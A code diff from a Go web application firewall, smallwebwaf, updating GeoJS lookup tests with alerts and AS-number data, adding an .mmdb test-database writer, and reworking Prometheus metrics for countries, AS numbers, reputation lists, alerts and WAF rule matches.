+		if !slices.Equal(given, []lookup.Answer{want}) {
+			t.Errorf("answers given %+v, want only %+v", given, want)
+		}
+		mu.Unlock()
+
+		wantCountry(t, g, client, germany)
+		wantUnanswered(t, m, 0)
+	})
+}
+
 func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
 	t.Parallel()
 
@@ -194,9 +376,12 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
 		geojs := &standIn{answers: hanging}
 		g := lookup.New(lookup.Params{
 			URL:        lookup.URL,
+			Timeout:    timeout,
+			Wait:       true,
 			Now:        time.Now,
 			ProcessLog: slog.New(slog.NewTextHandler(&log, nil)),
-			Metrics:    metrics.New(1),
+			Metrics:    metrics.New(1, "app"),
+			Alerts:     alerts.New(alerts.Params{}),
 		})
 		g.SetTransport(geojs)
 
@@ -211,6 +396,45 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
 	})
 }
 
+func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g, queue := startWithAlerts()
+		clients := newClients()
+
+		geojs.set(failing)
+
+		wantCountry(t, g, clients(), "")
+
+		want := alerts.Alert{
+			Time:   clock.Now(),
+			Event:  alerts.EventSourceFailure,
+			Reason: "asking GeoJS failed",
+			Detail: map[string]any{
+				"source":          "geojs",
+				"error":           "GeoJS answered 503 Service Unavailable",
+				"asking_again_in": "1s",
+			},
+		}
+
+		// The next failure, a second later, is a repeat within the
+		// cooldown.
+		clock.advance(time.Second)
+		wantCountry(t, g, clients(), "")
+		wantRequests(t, geojs, 2)
+
+		waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+		if len(waiting) != 1 || !reflect.DeepEqual(waiting[0], want) {
+			t.Errorf("alerts waiting %+v, want only %+v", waiting, want)
+		}
+
+		if queue.Suppressed() != 1 {
+			t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+		}
+	})
+}
+
 func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
 	t.Parallel()
 
@@ -355,12 +579,15 @@ func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		m := metrics.New(1)
+		m := metrics.New(1, "app")
 		g := lookup.New(lookup.Params{
 			URL:        lookup.URL,
+			Timeout:    timeout,
+			Wait:       true,
 			Now:        time.Now,
 			ProcessLog: slog.New(slog.DiscardHandler),
 			Metrics:    m,
+			Alerts:     alerts.New(alerts.Params{}),
 		})
 		g.SetTransport(&standIn{answers: failing})
 
@@ -450,21 +677,24 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 		}
 	}
 
-	list := make([]map[string]string, 0, len(addrs))
+	list := make([]map[string]any, 0, len(addrs))
 
 	for _, addr := range addrs {
-		country := germany
+		item := map[string]any{
+			"ip": addr, "asn": asNumber, "organization_name": asName,
+			"country_code": germany,
+		}
 
 		switch {
 		case addr == unplaced:
-			country = ""
+			item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
 		case addr == leftOut && answers == answeringWithoutLeftOut:
 			continue
 		case answers == answeringInLowerCase:
-			country = strings.ToLower(germany)
+			item["country_code"] = strings.ToLower(germany)
 		}
 
-		list = append(list, map[string]string{"ip": addr, "country": country})
+		list = append(list, item)
 	}
 
 	var answer any = list
@@ -522,19 +752,43 @@ func (c *testClock) advance(d time.Duration) {
 }
 
 // start returns a stand-in for GeoJS that answers, a clock, and a GeoJS
-// asking the stand-in by that clock.
+// asking the stand-in by that clock, for which a request waits for its
+// client's first answer.
 func start() (*standIn, *testClock, *lookup.GeoJS) {
+	geojs, clock, g, _ := startWithAlerts()
+
+	return geojs, clock, g
+}
+
+// startWithAlerts is start, and returns the queue of the alerts GeoJS
+// raises as well, for a webhook that is never sent them, with the default
+// cooldown, by the same clock.
+func startWithAlerts() (*standIn, *testClock, *lookup.GeoJS, *alerts.Queue) {
 	geojs := &standIn{}
-	clock := &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)}
+	clock := newClock()
+	queue := alerts.New(alerts.Params{
+		WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
+		Events:     alerts.Events(),
+		Cooldown:   15 * time.Minute,
+		Now:        clock.Now,
+	})
 	g := lookup.New(lookup.Params{
 		URL:        lookup.URL,
+		Timeout:    timeout,
+		Wait:       true,
 		Now:        clock.Now,
 		ProcessLog: slog.New(slog.DiscardHandler),
-		Metrics:    metrics.New(1),
+		Metrics:    metrics.New(1, "app"),
+		Alerts:     queue,
 	})
 	g.SetTransport(geojs)
 
-	return geojs, clock, g
+	return geojs, clock, g, queue
+}
+
+// newClock returns a clock set to the start of a day.
+func newClock() *testClock {
+	return &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)}
 }
 
 // newClients returns what returns a new IPv4 client each time it is
@@ -553,7 +807,7 @@ func newClients() func() netip.Prefix {
 func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
 	t.Helper()
 
-	got := g.Country(t.Context(), client)
+	got := g.LookUp(t.Context(), client).Country
 	if got != want {
 		t.Errorf("%s is in %q, want %q", client, got, want)
 	}
@@ -598,6 +852,16 @@ func wantUnanswered(t *testing.T, m *metrics.Metrics, want float64) {
 	}
 }
 
+// wantFailures checks how many requests to GeoJS m counts as failed.
+func wantFailures(t *testing.T, m *metrics.Metrics, want float64) {
+	t.Helper()
+
+	got := testutil.ToFloat64(m.GeoJSFailures)
+	if got != want {
+		t.Errorf("%v requests to GeoJS failed, want %v", got, want)
+	}
+}
+
 // waitForRequests waits until g has done all it can before time passes,
 // checks that GeoJS has had count requests, and returns the addresses each
 // asked about.

internal/lookup/lookuptest/lookuptest.go

@@ -0,0 +1,83 @@
+// Package lookuptest writes lookup databases, IPinfo Lite files in their
+// .mmdb form, for the tests of the packages that read them.
+package lookuptest
+
+import (
+	"bytes"
+	"net"
+	"os"
+	"testing"
+
+	"github.com/maxmind/mmdbwriter"
+	"github.com/maxmind/mmdbwriter/mmdbtype"
+)
+
+// fileMode is the mode of the files written: read and written by their
+// owner alone.
+const fileMode = 0o600
+
+// Network is what a lookup database holds about a netblock, of the fields
+// smallwebwaf reads: its AS number, such as AS64496, the AS's name, and
+// its country, such as DE.
+type Network struct {
+	ASN     string
+	ASName  string
+	Country string
+}
+
+// Write writes a lookup database at path that places each netblock in
+// networks, such as 203.0.113.0/24, as its Network says, and no other
+// address.
+func Write(tb testing.TB, path string, networks map[string]Network) {
+	tb.Helper()
+
+	records := make(map[string]mmdbtype.Map, len(networks))
+	for netblock, network := range networks {
+		records[netblock] = mmdbtype.Map{
+			"asn":          mmdbtype.String(network.ASN),
+			"as_name":      mmdbtype.String(network.ASName),
+			"country_code": mmdbtype.String(network.Country),
+		}
+	}
+
+	WriteRecords(tb, path, records)
+}
+
+// WriteRecords writes a lookup database at path that holds each record in
+// records for its netblock, and nothing for any other address.
+func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
+	tb.Helper()
+
+	tree, err := mmdbwriter.New(mmdbwriter.Options{
+		DatabaseType: "ipinfo_lite",
+		// The tests' clients are in the netblocks kept for documentation.
+		IncludeReservedNetworks: true,
+	})
+	if err != nil {
+		tb.Fatalf("new lookup database: %v", err)
+	}
+
+	for netblock, record := range records {
+		_, network, err := net.ParseCIDR(netblock)
+		if err != nil {
+			tb.Fatalf("netblock %q: %v", netblock, err)
+		}
+
+		err = tree.Insert(network, record)
+		if err != nil {
+			tb.Fatalf("insert %s: %v", netblock, err)
+		}
+	}
+
+	var database bytes.Buffer
+
+	_, err = tree.WriteTo(&database)
+	if err != nil {
+		tb.Fatalf("write the lookup database: %v", err)
+	}
+
+	err = os.WriteFile(path, database.Bytes(), fileMode)
+	if err != nil {
+		tb.Fatalf("write %s: %v", path, err)
+	}
+}

internal/lookup/snapshot_test.go

@@ -26,8 +26,11 @@ func TestSnapshotHoldsEachAnswerAndWhenItWasLastUsed(t *testing.T) {
 		wantCountry(t, g, placed, germany)
 
 		want := []lookup.Answer{
-			{Client: notPlaced, Country: "", Answered: asked, Used: asked},
-			{Client: placed, Country: germany, Answered: asked, Used: asked.Add(time.Hour)},
+			{Client: notPlaced, Answered: asked, Used: asked},
+			{
+				Client: placed, ASN: asn, ASName: asName, Country: germany,
+				Answered: asked, Used: asked.Add(time.Hour),
+			},
 		}
 		if got := g.Snapshot(); !slices.Equal(got, want) {
 			t.Errorf("snapshot\n%+v\nwant\n%+v", got, want)

internal/metrics/busiest.go

@@ -0,0 +1,155 @@
+package metrics
+
+import (
+	"sync"
+
+	"github.com/prometheus/client_golang/prometheus"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// other is the label value under which the countries or AS numbers
+// outside the busiest are counted.
+const other = "other"
+
+// busiest are the metrics by one thing the lookup finds of the client,
+// its country or its AS number, for requests whose client's is known.
+// The topN busiest countries or AS numbers, by their requests since the
+// start, have series of their own, and the others are counted under
+// other, so that there are never more than topN + 1 series. One that
+// drops out of the busiest loses its series, and its next requests are
+// counted under other; one that becomes one of them gets a series that
+// counts from then on. Each series therefore only ever goes up.
+type busiest struct {
+	topN int
+
+	requests      *prometheus.CounterVec
+	requestBytes  *prometheus.CounterVec
+	responseBytes *prometheus.CounterVec
+	// refused are, by country, the requests the country lists refused; nil
+	// by AS number.
+	refused *prometheus.CounterVec
+
+	mu sync.Mutex
+	// seen is each country's or AS number's requests since the start, by
+	// which they are ranked.
+	seen map[string]int64
+	// top are those with series of their own.
+	top map[string]bool
+}
+
+// newCountries returns the metrics by country, with series of their own
+// for the topN busiest countries.
+func newCountries(topN int) *busiest {
+	countries := newBusiest(topN, "country", "the client's country")
+	countries.refused = counterVec("smallwebwaf_country_list_refusals_total",
+		"Requests the country lists refused, by the client's country.",
+		[]string{"country"})
+
+	return countries
+}
+
+// newASNs returns the metrics by AS number, with series of their own for
+// the topN busiest AS numbers.
+func newASNs(topN int) *busiest {
+	return newBusiest(topN, "asn", "the client's AS number")
+}
+
+// newBusiest returns the metrics by label, which is described as
+// description, with series of their own for the topN busiest values.
+func newBusiest(topN int, label, description string) *busiest {
+	by := []string{label}
+
+	return &busiest{
+		topN: topN,
+		requests: counterVec("smallwebwaf_"+label+"_requests_total",
+			"Requests, by "+description+".", by),
+		requestBytes: counterVec("smallwebwaf_"+label+"_request_bytes_total",
+			"Request body bytes, by "+description+".", by),
+		responseBytes: counterVec("smallwebwaf_"+label+"_response_bytes_total",
+			"Response body bytes, by "+description+".", by),
+		seen: map[string]int64{},
+		top:  map[string]bool{},
+	}
+}
+
+// Describe and Collect make the metrics a prometheus.Collector, so that
+// they are registered together.
+func (b *busiest) Describe(ch chan<- *prometheus.Desc) {
+	for _, vec := range b.vecs() {
+		vec.Describe(ch)
+	}
+}
+
+// Collect is the other half of prometheus.Collector, with Describe.
+func (b *busiest) Collect(ch chan<- prometheus.Metric) {
+	for _, vec := range b.vecs() {
+		vec.Collect(ch)
+	}
+}
+
+// vecs returns the metrics: by AS number, those of requests and bytes; by
+// country, the refusals by the country lists as well.
+func (b *busiest) vecs() []*prometheus.CounterVec {
+	vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
+	if b.refused != nil {
+		vecs = append(vecs, b.refused)
+	}
+
+	return vecs
+}
+
+// add counts a request from its log line, whose client's country or AS
+// number, value, is known.
+func (b *busiest) add(value string, line *requestlog.Line) {
+	b.mu.Lock()
+	defer b.mu.Unlock()
+
+	b.seen[value]++
+
+	label := b.label(value)
+	b.requests.WithLabelValues(label).Inc()
+	b.requestBytes.WithLabelValues(label).Add(float64(line.RequestBytes))
+	b.responseBytes.WithLabelValues(label).Add(float64(line.ResponseBytes))
+
+	if b.refused != nil && line.Action == requestlog.ActionCountryDenied {
+		b.refused.WithLabelValues(label).Inc()
+	}
+}
+
+// label returns the label a request from value is counted under: value
+// while it is one of the busiest, other while it is not. A value busier
+// than the least busy of them takes its place, and that one's series are
+// dropped.
+func (b *busiest) label(value string) string {
+	if b.top[value] {
+		return value
+	}
+
+	if len(b.top) < b.topN {
+		b.top[value] = true
+
+		return value
+	}
+
+	least := ""
+
+	for top := range b.top {
+		if least == "" || b.seen[top] < b.seen[least] {
+			least = top
+		}
+	}
+
+	if b.seen[value] <= b.seen[least] {
+		return other
+	}
+
+	delete(b.top, least)
+
+	for _, vec := range b.vecs() {
+		vec.DeleteLabelValues(least)
+	}
+
+	b.top[value] = true
+
+	return value
+}

internal/metrics/countries.go

@@ -1,116 +0,0 @@
-package metrics
-
-import (
-	"sync"
-
-	"github.com/prometheus/client_golang/prometheus"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-// other is the label under which the countries outside the busiest are
-// counted.
-const other = "other"
-
-// countries are the metrics by the client's country, for requests whose
-// client's country is known. The topN busiest countries, by their requests
-// since the start, have series of their own, and the others are counted
-// under other, so that there are never more than topN + 1 series. A
-// country that drops out of the busiest loses its series, and its next
-// requests are counted under other; one that becomes one of them gets a
-// series that counts from then on. Each series therefore only ever goes
-// up.
-type countries struct {
-	topN int
-
-	requests      *prometheus.CounterVec
-	requestBytes  *prometheus.CounterVec
-	responseBytes *prometheus.CounterVec
-	// refused are the requests the country lists refused.
-	refused *prometheus.CounterVec
-
-	mu sync.Mutex
-	// seen is each country's requests since the start, by which the
-	// countries are ranked. GeoJS gives two-letter codes, so it holds at
-	// most a few hundred.
-	seen map[string]int64
-	// top are the countries with series of their own.
-	top map[string]bool
-}
-
-// newCountries returns the metrics by country, with series of their own
-// for the topN busiest countries.
-func newCountries(topN int) *countries {
-	byCountry := []string{"country"}
-
-	return &countries{
-		topN: topN,
-		requests: counterVec("smallwebwaf_country_requests_total",
-			"Requests, by the client's country.", byCountry),
-		requestBytes: counterVec("smallwebwaf_country_request_bytes_total",
-			"Request body bytes, by the client's country.", byCountry),
-		responseBytes: counterVec("smallwebwaf_country_response_bytes_total",
-			"Response body bytes, by the client's country.", byCountry),
-		refused: counterVec("smallwebwaf_country_list_refusals_total",
-			"Requests the country lists refused, by the client's country.",
-			byCountry),
-		seen: map[string]int64{},
-		top:  map[string]bool{},
-	}
-}
-
-// add counts a request from its log line, whose country is known.
-func (c *countries) add(line *requestlog.Line) {
-	c.mu.Lock()
-	defer c.mu.Unlock()
-
-	c.seen[line.Country]++
-
-	label := c.label(line.Country)
-	c.requests.WithLabelValues(label).Inc()
-	c.requestBytes.WithLabelValues(label).Add(float64(line.RequestBytes))
-	c.responseBytes.WithLabelValues(label).Add(float64(line.ResponseBytes))
-
-	if line.Action == requestlog.ActionCountryDenied {
-		c.refused.WithLabelValues(label).Inc()
-	}
-}
-
-// label returns the label a request from country is counted under: the
-// country while it is one of the busiest, other while it is not. A
-// country busier than the least busy of them takes its place, and that
-// country's series are dropped.
-func (c *countries) label(country string) string {
-	if c.top[country] {
-		return country
-	}
-
-	if len(c.top) < c.topN {
-		c.top[country] = true
-
-		return country
-	}
-
-	least := ""
-
-	for top := range c.top {
-		if least == "" || c.seen[top] < c.seen[least] {
-			least = top
-		}
-	}
-
-	if c.seen[country] <= c.seen[least] {
-		return other
-	}
-
-	delete(c.top, least)
-
-	for _, vec := range []*prometheus.CounterVec{
-		c.requests, c.requestBytes, c.responseBytes, c.refused,
-	} {
-		vec.DeleteLabelValues(least)
-	}
-
-	c.top[country] = true
-
-	return country
-}

internal/metrics/metrics.go

@@ -1,6 +1,7 @@
-// Package metrics keeps smallwebwaf's Prometheus metrics, as the "Metrics
-// endpoint" section of SPEC.md lists them, and serves them in the
-// Prometheus text format. No metric carries a client's address.
+// Package metrics keeps smallwebwaf's Prometheus metrics, as
+// docs/metrics.md lists them, and serves them in the Prometheus text
+// format, as the "Metrics endpoint" section of SPEC.md requires. No
+// metric carries a client's address.
 package metrics
 
 import (
@@ -11,16 +12,20 @@ import (
 	"github.com/prometheus/client_golang/prometheus"
 	"github.com/prometheus/client_golang/prometheus/collectors"
 	"github.com/prometheus/client_golang/prometheus/promhttp"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/remotelog"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
 
 // Metrics are smallwebwaf's metrics. They are safe for concurrent use.
 type Metrics struct {
-	registry *prometheus.Registry
+	// registry gives every metric registered with it the label instance.
+	registry prometheus.Registerer
 	handler  http.Handler
 
 	inFlight         prometheus.Gauge
@@ -30,16 +35,19 @@ type Metrics struct {
 	requestDuration  prometheus.Histogram
 	upstreamDuration prometheus.Histogram
 	rateLimitHits    *prometheus.CounterVec
-	sizeAndTimeLimitHits *prometheus.CounterVec
 	offences         *prometheus.CounterVec
-	// ruleMatches are made by AddRules.
+	wafMatches       *prometheus.CounterVec
+	// ruleMatches are made by AddRules, and reputationHits by
+	// AddReputation.
 	ruleMatches    *prometheus.CounterVec
-	countries   *countries
+	reputationHits *prometheus.CounterVec
+	countries      *busiest
+	asns           *busiest
 
 	// GeoJSRequests are the requests to GeoJS, and GeoJSFailures those
-	// that failed. GeoJSUnanswered are the requests whose client counted
-	// as coming from an unknown country because GeoJS had not answered
-	// about it in time.
+	// that failed. GeoJSUnanswered are the requests that needed their
+	// client's answer, for a setting that acts on it, and went on without
+	// it because GeoJS had not given it in time.
 	GeoJSRequests   prometheus.Counter
 	GeoJSFailures   prometheus.Counter
 	GeoJSUnanswered prometheus.Counter
@@ -53,14 +61,20 @@ type Metrics struct {
 }
 
 // New returns the metrics, with the Go runtime's and the process's own.
-// topN is how many countries get series of their own
-// (SWWAF_METRICS_TOP_N).
-func New(topN int) *Metrics {
+// topN is how many countries and how many AS numbers get series of their
+// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
+// (SWWAF_INSTANCE_NAME) as its label instance.
+//
+//nolint:funlen // a few lines for each metric, a list that grows with them
+func New(topN int, instanceName string) *Metrics {
 	byStatus := []string{"status_class", "action"}
 	byFile := []string{"file"}
+	registry := prometheus.NewRegistry()
 
 	m := &Metrics{
-		registry: prometheus.NewRegistry(),
+		registry: prometheus.WrapRegistererWith(
+			prometheus.Labels{"instance": instanceName}, registry),
+		handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}),
 		inFlight: prometheus.NewGauge(prometheus.GaugeOpts{
 			Name: "smallwebwaf_requests_in_flight",
 			Help: "Requests under way.",
@@ -82,14 +96,16 @@ func New(topN int) *Metrics {
 			Help: "How long requests passed to the app took, from then to their end.",
 		}),
 		rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
-			"Requests that broke a rate limit, by its window.",
-			[]string{"window"}),
-		sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
-			"Requests that passed a size or time limit, by its setting.",
-			[]string{"limit"}),
+			"Requests that broke a rate limit, a byte limit or the error burst, by "+
+				"its window and its kind, requests, bytes or refusals.",
+			[]string{"window", "kind"}),
 		offences: counterVec("smallwebwaf_offences_total",
 			"Offences, by kind.", []string{"kind"}),
+		wafMatches: counterVec("smallwebwaf_waf_matches_total",
+			"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
+				"and the rule's id.", []string{"mode", "rule_id"}),
 		countries: newCountries(topN),
+		asns:      newASNs(topN),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
 			Name: "smallwebwaf_geojs_requests_total",
 			Help: "Requests to GeoJS.",
@@ -100,8 +116,8 @@ func New(topN int) *Metrics {
 		}),
 		GeoJSUnanswered: prometheus.NewCounter(prometheus.CounterOpts{
 			Name: "smallwebwaf_geojs_unanswered_total",
-			Help: "Requests whose client counted as coming from an unknown " +
-				"country because GeoJS had not answered about it in time.",
+			Help: "Requests that needed their client's answer from GeoJS and " +
+				"went on without it, because GeoJS had not given it in time.",
 		}),
 		stateFileWrites: counterVec("smallwebwaf_state_file_writes_total",
 			"Writes of each state file.", byFile),
@@ -118,16 +134,13 @@ func New(topN int) *Metrics {
 			byFile),
 	}
 
-	m.handler = promhttp.HandlerFor(m.registry, promhttp.HandlerOpts{})
-
 	m.registry.MustRegister(
 		collectors.NewGoCollector(),
 		collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
 		m.inFlight, m.requests, m.requestBytes, m.responseBytes,
 		m.requestDuration, m.upstreamDuration,
-		m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences,
-		m.countries.requests, m.countries.requestBytes, m.countries.responseBytes,
-		m.countries.refused,
+		m.rateLimitHits, m.offences, m.wafMatches,
+		m.countries, m.asns,
 		m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
 		m.stateFileWrites, m.stateFileWriteFailures,
 		m.stateFileLastWrite, m.stateFileSize,
@@ -144,7 +157,9 @@ func New(topN int) *Metrics {
 func (m *Metrics) AddBansAndClients(
 	ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
 ) {
-	for _, cause := range []string{bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin} {
+	for _, cause := range []string{
+		bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
+	} {
 		m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
 			Name:        "smallwebwaf_bans_made_total",
 			Help:        "Bans made, by cause.",
@@ -225,6 +240,147 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
 	)
 }
 
+// AddLookupFile adds the metrics of the lookup database, read as the
+// metrics are asked for: when the file in use was read, which lastRead
+// returns, and the replacements of it that could not be read, which
+// readFailures returns. The lookup package's File, which has both, cannot
+// be named here: that package counts GeoJS's requests in these metrics.
+func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
+	m.registry.MustRegister(
+		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+			Name: "smallwebwaf_lookup_database_last_read_timestamp_seconds",
+			Help: "When the lookup database in use was read, in seconds since 1970.",
+		}, func() float64 {
+			return float64(lastRead().Unix())
+		}),
+		prometheus.NewCounterFunc(prometheus.CounterOpts{
+			Name: "smallwebwaf_lookup_database_read_failures_total",
+			Help: "Replacements of the lookup database that could not be read.",
+		}, func() float64 {
+			return float64(readFailures())
+		}),
+	)
+}
+
+// sourceLabel is the label of the reputation metrics: a list's URL, a
+// DNSBL zone, its key masked, or abuseipdb.
+const sourceLabel = "source"
+
+// AddReputation adds the metrics of the lists fetched from URLs and of the
+// DNSBL zones, by source, each list's URL or each zone, its key masked as
+// config.MaskZoneKey masks it: the requests whose client a blocklist, the
+// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
+// which ReputationHit counts, and, read from lists and dnsbl as the
+// metrics are asked for, for a list, the fetches that failed and when the
+// copy in use was fetched, and for a zone, the queries made and those that
+// failed. It is called once, before ReputationHit.
+func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
+	m.reputationHits = counterVec("smallwebwaf_reputation_hits_total",
+		"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
+			"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
+		[]string{sourceLabel})
+	m.registry.MustRegister(m.reputationHits)
+
+	for _, zone := range dnsbl.Zones() {
+		source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
+
+		m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
+		m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
+	}
+
+	for _, listURL := range lists.URLs() {
+		source := prometheus.Labels{sourceLabel: listURL}
+
+		m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
+		m.registry.MustRegister(
+			prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+				Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds",
+				Help: "When the copy of the list in use was fetched, in seconds since " +
+					"1970, or 0 while there is none.",
+				ConstLabels: source,
+			}, func() float64 {
+				fetched := lists.Fetched(listURL)
+				if fetched.IsZero() {
+					return 0
+				}
+
+				return float64(fetched.Unix())
+			}),
+		)
+	}
+}
+
+// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
+// read from abuseIPDB as the metrics are asked for: the checks made, those
+// that failed, and how many checks the day's budget has left. It is
+// called once, after AddReputation, while SWWAF_ABUSEIPDB_KEY is set.
+func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
+	source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
+
+	m.addReputationQueries(source, abuseIPDB.Checked)
+	m.addReputationFailures(source, abuseIPDB.Failures)
+	m.registry.MustRegister(
+		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+			Name:        "smallwebwaf_reputation_daily_budget_remaining",
+			Help:        "Checks of the day's SWWAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
+			ConstLabels: source,
+		}, func() float64 {
+			return float64(abuseIPDB.BudgetLeft())
+		}),
+	)
+}
+
+// ReputationHit counts a request whose client source lists: a blocklist
+// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
+// or AbuseIPDB, abuseipdb.
+func (m *Metrics) ReputationHit(source string) {
+	m.reputationHits.WithLabelValues(source).Inc()
+}
+
+// AddAlerts adds the metrics of the alerts sent to each destination set,
+// read from queue as the metrics are asked for, by destination: the
+// alerts sent, the requests to the destination that failed, the alerts
+// held back, which are the same for every destination, and those
+// dropped. With no destination set, it adds none.
+func (m *Metrics) AddAlerts(queue *alerts.Queue) {
+	for _, name := range queue.DestinationsSet() {
+		destination := prometheus.Labels{"destination": name}
+
+		m.registry.MustRegister(
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
+				Name:        "smallwebwaf_alerts_sent_total",
+				Help:        "Alerts the destination took.",
+				ConstLabels: destination,
+			}, func() float64 {
+				return float64(queue.Counts(name).Sent)
+			}),
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
+				Name:        "smallwebwaf_alerts_failed_total",
+				Help:        "Requests to the destination that failed.",
+				ConstLabels: destination,
+			}, func() float64 {
+				return float64(queue.Counts(name).Failed)
+			}),
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
+				Name: "smallwebwaf_alerts_suppressed_total",
+				Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " +
+					"alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
+				ConstLabels: destination,
+			}, func() float64 {
+				return float64(queue.Suppressed())
+			}),
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
+				Name: "smallwebwaf_alerts_dropped_total",
+				Help: "Alerts dropped, the oldest first, from a full queue, and " +
+					"alerts given up as the destination refused them.",
+				ConstLabels: destination,
+			}, func() float64 {
+				return float64(queue.Counts(name).Dropped)
+			}),
+		)
+	}
+}
+
 // ServeHTTP answers with the metrics in the Prometheus text format.
 func (m *Metrics) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	m.handler.ServeHTTP(w, r)
@@ -235,39 +391,47 @@ func (m *Metrics) RequestStarted() {
 	m.inFlight.Inc()
 }
 
-// RequestEnded counts a request that has ended, from its log line. limit
-// is the setting whose size or time limit the request passed, "" if none.
-// duration is how long the request took, and upstreamDuration how long it
-// took from when it was passed to the app, zero if it was not.
-func (m *Metrics) RequestEnded(
-	line *requestlog.Line, limit string, duration, upstreamDuration time.Duration,
-) {
+// RequestEnded counts a request that has ended without being passed to the app,
+// from its log line. duration is how long the request took.
+func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
 	m.inFlight.Dec()
+	m.count(line, duration, 0)
+}
 
-	class := statusClass(line.Status)
-	m.requests.WithLabelValues(class, line.Action).Inc()
-	m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
-	m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
-	m.requestDuration.Observe(duration.Seconds())
+// RequestAllowed counts a question of rproxy's, answered allow, as no longer
+// under way. RequestReported counts the request it was about.
+func (m *Metrics) RequestAllowed() {
+	m.inFlight.Dec()
+}
 
-	if upstreamDuration > 0 {
-		m.upstreamDuration.Observe(upstreamDuration.Seconds())
+// RequestReported counts a request rproxy passed to the app, from what its
+// report says, which line holds: duration is how long the request took, and
+// upstreamDuration how long it took from when it was passed to the app.
+func (m *Metrics) RequestReported(
+	line *requestlog.Line, duration, upstreamDuration time.Duration,
+) {
+	m.count(line, duration, upstreamDuration)
+}
+
+// LimitHit counts a request that broke a rate limit, a byte limit or the
+// error burst, by the window and the kind of hit.
+func (m *Metrics) LimitHit(hit ratelimit.Hit) {
+	m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
+}
+
+// Offences counts the offences of r, a request that has ended, as its
+// client's history counts them, by kind, named as clients.json names
+// them.
+func (m *Metrics) Offences(r ratelimit.Request) {
+	for kind, committed := range map[string]bool{
+		"limit":        r.BrokeLimit,
+		"attack":       r.Attack,
+		"rule_blocked": r.RuleBlocked,
+		"waf_blocked":  r.WAFBlocked,
+	} {
+		if committed {
+			m.offences.WithLabelValues(kind).Inc()
 		}
-
-	if line.LimitHit != "" {
-		m.rateLimitHits.WithLabelValues(line.LimitHit).Inc()
-	}
-
-	if limit != "" {
-		m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
-	}
-
-	if line.Offence != "" {
-		m.offences.WithLabelValues(line.Offence).Inc()
-	}
-
-	if line.Country != "" {
-		m.countries.add(line)
 	}
 }
 
